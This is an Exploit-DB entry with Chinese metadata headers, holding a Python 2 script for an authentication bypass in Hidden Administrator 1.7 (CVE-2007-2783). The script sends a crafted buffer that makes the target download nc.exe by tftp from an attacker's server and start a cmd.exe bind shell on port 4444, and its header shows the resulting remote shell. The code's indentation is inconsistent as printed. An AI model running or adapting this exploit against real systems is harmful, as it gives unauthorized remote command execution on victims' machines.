标题: Rational Software Hidden Administrator 1.7 - Authentication Bypass EDB-ID: 3954 CVE: 2007-2783 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-19 漏洞利用脚本: ####################################################################################
#           Hidden Administrator Authenticaiton Bypass Exploit                     #
#                   ahmed[at]rewterz.com                                           #
#            https://www.securityfocus.com/bid/24049                                #
#                                                                                  #
# C:\>python rewt-ha-exp.py                                                        #
# Usage: rewt-ha-exp.py -h <host ip> -p <port> -t <tftpd server ip>                #
# make sure nc.exe exists on tftpd server                                          #
#                                                                                  #
# C:\>telnet 192.168.1.4 4444                                                      #
# C:\>python rewt-ha-exp.py -h 192.168.1.4 -p 3128 -t 192.168.1.105                #
# [+] Connecting to 192.168.1.4                                                    #
# [+] Uploading Files                                                              #
# [+] DONE [+]                                                                     #
# [+] Now Connect to port 4444 on victim IP !!!                                    #
#                                                                                  #
# C:\>telnet 192.168.1.4 4444                                                      #
# Microsoft Windows XP [Version 5.1.2600]                                          #
# (C) Copyright 1985-2001 Microsoft Corp.                                          #
# C:\ha_server>                                                                    # 
####################################################################################


import socket
import struct
import time
import sys
import getopt


def usage():
 print "\n"
 print "######################################################"
 print "# Hidden Administrator Authentication Bypass Exploit #"
 print "#           Coded By ahmed[at]rewterz.com            #"
 print "######################################################"
 print "\n"
 print "Usage: %s -h <host ip> -p <port> -t <tftpd server ip>" % sys.argv[0]
 print "make sure nc.exe exists on tftpd server\n"

def exploit():
 h ="%X" % (130+len(tftpd))
        buff1='_file_manager_operations_copy_files_Loc_Rem_c:\\^file\r\n\x0brewt_ha.bat'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 buff1 += ('\\x' + h).decode('string_escape')
 buff1 += '\x00\x00\x00\x00\x00\x00\x00'
 buff1+='\x00tftp -i ' + tftpd + ' GET nc.exe c:\\nc.exe                           '
 buff1+='\r\nc:\\nc.exe -L -d -p 4444 -e cmd.exe                 \r\n\r\n         '
 buff1+='      \r\n\r\n_file_manager_operations_get_cur_dir_c:\r\n'
 try:
  print "[+] Connecting to %s" %host
         s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  connect=s.connect((host,int(port)))
  print "[+] Uploading Files"
  s.send(buff1)
         time.sleep(2)
         s.send('+run_C:\\rewt_ha.bat|\r\n')
         time.sleep(1)
         print "[+] DONE [+]"
                print "[+] Now Connect to port 4444 on victim IP !!!"
 except:
  print "[+] Could not connect to the server"


if len(sys.argv)<7:
       usage()
       sys.exit()
try:
       options = getopt.getopt(sys.argv[1:], 'h:p:t:')[0]
except getopt.GetoptError, err:
       print err
       usage()
       sys.exit()


for option, value in options:
       if option == '-h':
           host = value
       if option == '-p':
           port = int(value)
       if option == '-t':
           tftpd=value
exploit()

# milw0rm.com [2007-05-19] URL: https://www.exploit-db.com/exploits/3954